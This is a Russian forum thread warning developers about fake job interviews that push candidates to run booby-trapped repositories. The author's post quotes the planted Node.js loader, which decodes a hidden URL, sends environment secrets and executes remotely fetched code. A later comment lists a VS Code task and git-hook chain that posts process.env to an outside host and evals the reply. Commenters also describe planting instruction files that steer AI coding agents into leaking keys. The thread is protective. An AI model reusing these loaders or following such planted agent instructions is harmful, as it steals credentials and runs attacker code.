LINUX.ORG.RU
ФорумTalks

Код с сюрпризом или скамеры предлагающие работу

 код с сюрпризом, , скамеры


0

1

Еще раз напомню, быть осторожнее.

Думаю уже не раз писали про код с сюрпризом, и про то что выходят на интервью. Потом просят запустить код и он крадет env и т.д. Короче только что столкнулся, как было в моем случае: Интервью, никаких вопросов (все адекватно, придраться нету к чему). Во время интервью тебя просят посмотреть проект. Интервьюер просит расшарить экран, заливает код архивом, и если его послать, то заливает на bitbucket. По всей видимости bitbucket выбран именно потому-что оттуда ИИшка в рав режиме код файлы не может загрузить, а получает js, поэтому во время интервью код проверить быстро не получится в автоматическом режиме просто по ссылке.

Далее тебя просят запустить проект, ну и там такое (в моем случае):

server/app.js:11 импортируется:

const {initAppBootstrap} = require('./utils/bootstrap.js');

и в файле server/app.js:44 немедленно выполняется:

initAppBootstrap();

В файле server/utils/bootstrap.js:6-14:

const initAppBootstrap = async () => {
try {
const src = atob(DEV_API_KEY);
const k = atob(process.env.DEV_SECRET_KEY);
const v = atob(process.env.DEV_SECRET_VALUE);
const s = (await axios.get(src, { headers: { [k]: v } })).data.cookies;

const handler = new (Function.constructor)('require', s);

handler(require);

} catch (error) {
console.log(error)

}
}

И файл server/config/bootstrapConfig.js содержит:

DEV_API_KEY: "aHR0cHM6Ly9wYXcucy5neS9uSElsT2Y="

что декодируется в:

https://paw.s.gy/nHIlOf

DEV_API_KEY это закодированный URL.

const s = (...).data.cookies;

const handler = new (Function.constructor)('require', s);
handler(require);

Это может выполнять такие действия, как:

require('fs')
require('child_process')
require('https')
require('os')

Если ты отказываешься, то тебе говорят чтобы ты дал краткое ревью по фичам и чего не хватает и назначают следующее интервью.

Все обосновывается, посмотреть на фичи, проверить умеешь ли ты работать с кодом и т.д., если говорить, что тебе необязательно запускать, чтобы понять что в коде и ты можешь рассказать прямо сейчас, скажите только какую фичу или какой файл и ты отказываешься запускать в live, то вот дают тебе задание дай короткое ревью по фичам и чего не хватает.

Короче, чтобы не тратить время самому делайте клон, пакуйте в архив, даете архив ИИ с таким примерно промтом (не идеальный, но ИИ сойдет):

tell me is there any security leak problems, recently there are some people who like to force you to launch the code that actually do leak envs from running machine. surely later I could check in virtual machine as well, but better if you say what is wrong with it, in case there an issues the potential problem could be in dependencies, not in the codebase

И за две минуты оно уже дает вам ответ и не нужно копаться в этом говнокоде.

Вот для не Ъ: https://chatgpt.com/s/t_6a8ef017c4748191adf3c55bf6582b21

Да если все-таки захочется запустить код, советую виртуальную машину с левым ip или впс, которую можно вайпнуть, вместо контейнера.

Да, если что это необязательно должен быть Node.Js, так что не нужно гнать на него, код может быть на любом ЯП.

P.S: Я хз возможно этому место в Job, а может и нет, если что перенесите.

★★★★★

Последнее исправление: anonymous_sama (всего исправлений: 8)

Да раньше еще года-три два назад коллега на такое попадал, это было еще до массовых статей в интернете, про подобные вещи. Но в его случае было проще, там просто давали делать бесплатное тестовое. Я бы понятно, сразу с такой вводной бы послал. Скамеры прогрессируют, понятно.

anonymous_sama ★★★★★
() автор топика

не силен в лайвкодинге, но всегда были веб песочницы, запускать локально это даже не звоночек, а набат

Lordwind ★★★★★
()
Ответ на: комментарий от Lordwind

Ну тут прикол, что шелл будет висеть в песочницу, и это тоже может привести к проблемам в принципе, пусть и менее критичным. Если только песочница вайпается периодически. С текущим прогрессом, можно в принципе выйти из контейнера или например поднять привилегии локально. Но в случае какой-то веб песочницы, условно могут наверное ресурсы использовать (если нет лимитов bandwidth/cpu может быть и серьезный ущерб) или начать спамить с нее или как прокси использовать, это конечно ущерб меньше, но все-таки это тоже ущерб. Поэтому в идеале конечно понять что перед тобой и даже в изолированной среде не запускать.

anonymous_sama ★★★★★
() автор топика
Последнее исправление: anonymous_sama (всего исправлений: 2)

Спасибо за предупреждение.

sparkie ★★★★★
()
Ответ на: комментарий от Lordwind

А если на виртуалке запускать? Я прост далек от этого вашего веба, но если прям надо запускать разное неизвестное, то имеет смысл завести отдельную машину или виртуалку хотя-бы.

Хотя вопрос, как при удаленном собеседовании будут это вот все контролировать.

aiqu6Ait ★★★★★
()
Ответ на: комментарий от aiqu6Ait

Лучше вообще код, пока ты его не поймешь не запускать на устройствах которые тебе как-то принадлежат. Виртуалка окей, но ip можешь слить, плюс шелл может остаться в ней под юзером который запускал код, если не вайпнуть конечно. Там уже понятно от кода зависит, можно и шелл закрыть с процессом, может и другой процесс оно поднять до этого в данном случае, который уже к коду сервера не относится.

Код с сюрпризом или скамеры предлагающие работу (комментарий)

anonymous_sama ★★★★★
() автор топика

Красавчики, хороши. А полицию ты на них натравил? Или хотя бы внутренние службы той работной помойки, где ты их нашёл.

peregrine ★★★★★
()
Последнее исправление: peregrine (всего исправлений: 1)
Ответ на: комментарий от peregrine

Ну там я заблокировал и сделал репорт из выбора (linkedin). Спросил ИИшку как пожаловаться, но после блока уже не могу найти ссылку на профиль, который нужно указать чтобы отдельно пожаловаться. Да к слову в моем случае оффер готовили специально под меня и там все требования идеально подходили мне. Но при этом я резюме не обновлял долго, соответственно чуваки либо имели какую-то наводку, либо просто еще и смотрели каждый публичный проект на гитхабе и пробивали помимо самого сайта с резюме. Потому-что если бы они готовили оффер чисто по резюме, там бы был намного более слабый оффер и обязанности, а не оффер который подходил идеально. Поэтому наверное если вакансия где много сложных требований, но они при этом все идеально вам подходят, это тоже наверное звоночек задуматься. Потому-что обычно в требованиях должен быть все равно хоть один какой-то пункт который ты не знаешь нормально.

anonymous_sama ★★★★★
() автор топика
Последнее исправление: anonymous_sama (всего исправлений: 1)

https://threatprophet.com/posts/2026-06-03-pawcommerce/

Кстати нашел сайт, где человек решил еще дальше покапать уже с запуском. Там также другие скамные контакты на linkedin указаны. Код понятно в моем случае уже немного отличался, но логика и название такое же.

anonymous_sama ★★★★★
() автор топика
Последнее исправление: anonymous_sama (всего исправлений: 1)
Ответ на: комментарий от anonymous_sama

Кажется что подготовка таких таргетированных вакансий хорошо ложится на ИИ. 100 штук сделали, 20 с ИИ-ляпами, а 80 - оказались «в точку». Целью может быть как раз доступ к github-репам, типа преимущественно со списка открытых проектов и заход.

GPFault ★★★★
()
Последнее исправление: GPFault (всего исправлений: 2)

Вроде уже было на лоре про это. Только я не понял

И за две минуты оно уже дает вам ответ и не нужно копаться в этом говнокоде.

Зачем тебе искать какие-то ответы вообще? Так хочется продлить общение с жуликами? Просто сразу шли их нафиг и всё.

firkax ★★★★★
()
Ответ на: комментарий от firkax

Ну дык пока код не проверен, утверждать, что жулики нельзя. До этого, это я параноик/нетакусик, который стал выделываться и не запустил во время интервью. Но думается мне если все было бы нормально их бы устроило и понимание с кода напрямую. Они конечно надеялись, что я вот после интервью запущу когда пойду проверять дай короткое ревью по фичам и чего не хватает. Вообще если бы искали джуна, то проверить как проект запускать, думаю вполне адекватная просьба была еще несколько лет тому назад.

anonymous_sama ★★★★★
() автор топика
Последнее исправление: anonymous_sama (всего исправлений: 2)
Ответ на: комментарий от anonymous_sama

О, некст левел будет с локальными агентами, чтоб они анализируя код, напарывались на тот самый Албанский вирус, который просит удалить что-то важное и отправить себя дальше. Только в код будут вшивать задачку для агента, чтоб он вылез из песочницы, нашёл ключи и пароли и отправил их по указанному адресу злоумышленнику.

peregrine ★★★★★
()
Ответ на: комментарий от peregrine

Да я видел уже такой код примерно, там типо был каталог .claude с инструкциями и установкой скилла зловредного или типо того, плюс еще дополнительные инструкции в llm-* файлах. Но непонятный код локально проверять нельзя. В данном примере как у меня также допустим если человек запустит в vscode в trust режиме и ничего не будет запускать в ручную, то уже:

  • .vscode/settings.json пытается разрешить автоматические задачи

  • .vscode/tasks.json запускается при открытии папки

  • задача выполняется: git config core.hooksPath .github; git checkout main

  • .github/post-checkout получает tanxilabs.com/settings/?flag=6

  • Специфичный для ОС первый этап запуска записывает данные в .vscode

  • bootstrap находит или устанавливает Node.js

  • bootstrap загружает env-setup.js и package.json

  • env-setup.js отправляет POST-запрос process.env на ip-api-psi.vercel.app

  • response.data выполняется с помощью eval()

  • обфусцированный payload Node.js выполняется

anonymous_sama ★★★★★
() автор топика
Последнее исправление: anonymous_sama (всего исправлений: 3)

Да, если что это необязательно должен быть Node.Js, так что не нужно гнать на него, код может быть на любом ЯП.

Одного чувака уговорили войти в чужой apple профиль на собеседовании скамеры.

Ygor ★★★★★
()
Ответ на: комментарий от peregrine

Так это его штатная работа, которую подкостыливают в местах где замечают её проявление, и не подкостыливают в тех где ещё не заметили.

firkax ★★★★★
()

На securitylab есть интересная статейка на тему «Prompt injection» в агентной разработке

vel ★★★★★
()
Вы не можете добавлять комментарии в эту тему: только для зарегистрированных, score>=50.